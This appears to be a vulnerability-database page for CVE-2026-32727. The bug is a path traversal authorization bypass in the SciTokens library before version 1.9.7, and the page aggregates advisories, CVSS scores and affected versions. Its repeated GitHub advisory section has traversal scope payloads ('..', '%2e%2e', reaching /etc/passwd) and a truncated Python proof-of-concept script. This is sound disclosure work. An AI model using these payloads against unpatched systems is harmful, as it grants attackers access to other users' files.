CVE-2026-32727
SciTokens: Authorization Bypass via Path Traversal in Scope Validation
SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
SciTokens: Authorization Bypass via Path Traversal in Scope Validation
SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.
- Record
CVE-2026-32727- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-17292
8.1
SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.
- Record
EUVD-2026-17292- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3x2w-63fp-3qvw
8.1
SciTokens has an Authorization Bypass via Path Traversal in Scope Validation
Summary
The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.
Details
File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path
Description
When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.
If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.
Vulnerable Logic Flow:
- Normalization: In
_check_scope, the path/home/user1/..is normalized to/home. - Comparison: In
_scope_path_matches, the requested path/home/user2is checked against the allowed path/home:return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True
Bypassing with URL Encoding:
Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.
Root Traversal:
A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).
Impact
An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.
Proof of Concept
The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):
- Scope:
read:/home/user1/..-> Access Granted to:/home/user2 - Scope:
read:/anything/..-> Access Granted to:/etc/passwd - Scope:
read:/foo/%2e%2e/bar-> Access Granted to:/bar
import scitokens
import os
import sys
# Ensure we can import from src
if os.path.exists("src"):
sys.path.append("src")
def test_path_traversal_bypass():
print("--- Proof of Concept: Path Traversal in Scope Validation ---")
issuer = "https://scitokens.org"
enforcer = scitokens.Enforcer(issuer)
# Imagine an application that expects to restrict a user to their own directory: /home/user1
# The application validates that the token has 'read' access to /home/user1
# MALICIOUS TOKEN
# An attacker provides a token with a scope that uses '..' to traverse up.
# 'read:/home/user1/..' effectively resolves to 'read:/home'
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/home/user1/.."
# VICTIM PATH
# The attacker tries to access a sibling directory (another user's data)
requested_path = "/home/user2"
print(f"Token scope: {token['scope']}")
print(f"Requested path: {requested_path}")
# Internal normalization in Scitokens 1.9.6:
# urltools.normalize_path("/home/user1/..") -> "/home"
# urltools.normalize_path("/home/user2") -> "/home/user2"
# Since "/home/user2".startswith("/home") is True, access is granted.
print("\nTesting authorization...")
is_authorized = enforcer.test(token, "read", requested_path)
print(f"Is authorized: {is_authorized}")
if is_authorized:
print("\n[VULNERABILITY CONFIRMED]")
print(f"The Enforcer ALLOWED access to {requested_path}")
print(f"even though the scope was nominally restricted to /home/user1/..")
…
- Record
GHSA-3x2w-63fp-3qvw- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.1
SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.
- Record
CVE-2026-32727- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.1
SciTokens: Authorization Bypass via Path Traversal in Scope Validation
SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.
- Record
CVE-2026-32727- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-3x2w-63fp-3qvw
8.1
SciTokens has an Authorization Bypass via Path Traversal in Scope Validation
Summary
The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.
Details
File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path
Description
When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.
If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.
Vulnerable Logic Flow:
- Normalization: In
_check_scope, the path/home/user1/..is normalized to/home. - Comparison: In
_scope_path_matches, the requested path/home/user2is checked against the allowed path/home:return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True
Bypassing with URL Encoding:
Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.
Root Traversal:
A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).
Impact
An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.
Proof of Concept
The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):
- Scope:
read:/home/user1/..-> Access Granted to:/home/user2 - Scope:
read:/anything/..-> Access Granted to:/etc/passwd - Scope:
read:/foo/%2e%2e/bar-> Access Granted to:/bar
import scitokens
import os
import sys
# Ensure we can import from src
if os.path.exists("src"):
sys.path.append("src")
def test_path_traversal_bypass():
print("--- Proof of Concept: Path Traversal in Scope Validation ---")
issuer = "https://scitokens.org"
enforcer = scitokens.Enforcer(issuer)
# Imagine an application that expects to restrict a user to their own directory: /home/user1
# The application validates that the token has 'read' access to /home/user1
# MALICIOUS TOKEN
# An attacker provides a token with a scope that uses '..' to traverse up.
# 'read:/home/user1/..' effectively resolves to 'read:/home'
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/home/user1/.."
# VICTIM PATH
# The attacker tries to access a sibling directory (another user's data)
requested_path = "/home/user2"
print(f"Token scope: {token['scope']}")
print(f"Requested path: {requested_path}")
# Internal normalization in Scitokens 1.9.6:
# urltools.normalize_path("/home/user1/..") -> "/home"
# urltools.normalize_path("/home/user2") -> "/home/user2"
# Since "/home/user2".startswith("/home") is True, access is granted.
print("\nTesting authorization...")
is_authorized = enforcer.test(token, "read", requested_path)
print(f"Is authorized: {is_authorized}")
if is_authorized:
print("\n[VULNERABILITY CONFIRMED]")
print(f"The Enforcer ALLOWED access to {requested_path}")
print(f"even though the scope was nominally restricted to /home/user1/..")
…
- Record
GHSA-3x2w-63fp-3qvw- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-2277
6.5
SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.7, the Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith. This issue has been patched in version 1.9.7.
- Record
PYSEC-2026-2277- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10491-1 No score
python311-scitokens-1.8.1-2.1 on GA media
These are all security issues fixed in the python311-scitokens-1.8.1-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10491-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
scitokensPyPI |
before 1.9.7 | 1.9.7 |
scitokensPyPI |
before 1.9.7, plus listed versions 0.10.1.10.1.30.1.40.1.5 Show 28 moreShow less0.1.60.2.10.2.20.3.00.3.10.3.20.3.31.0.01.0.11.0.21.1.01.1.11.2.01.2.11.2.21.2.41.3.11.4.01.5.01.6.01.6.21.7.01.7.11.7.21.7.41.8.01.8.11.9.6 |
1.9.7 |
python-scitokensopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 1.8.1-2.1 | 1.8.1-2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-32727 is a high vulnerability (CVSS 8.1) in Scitokens, published March 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 44th percentile. Fixed in scitokens 1.9.7.
References
github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw
github.com/scitokens/scitokens/pull/230
github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9
github.com/scitokens/scitokens/releases/tag/v1.9.7
nvd.nist.gov/vuln/detail/CVE-2026-32727
github.com/advisories/GHSA-3x2w-63fp-3qvw
Left out here: the rest of 2 source descriptions. The JSON record has them.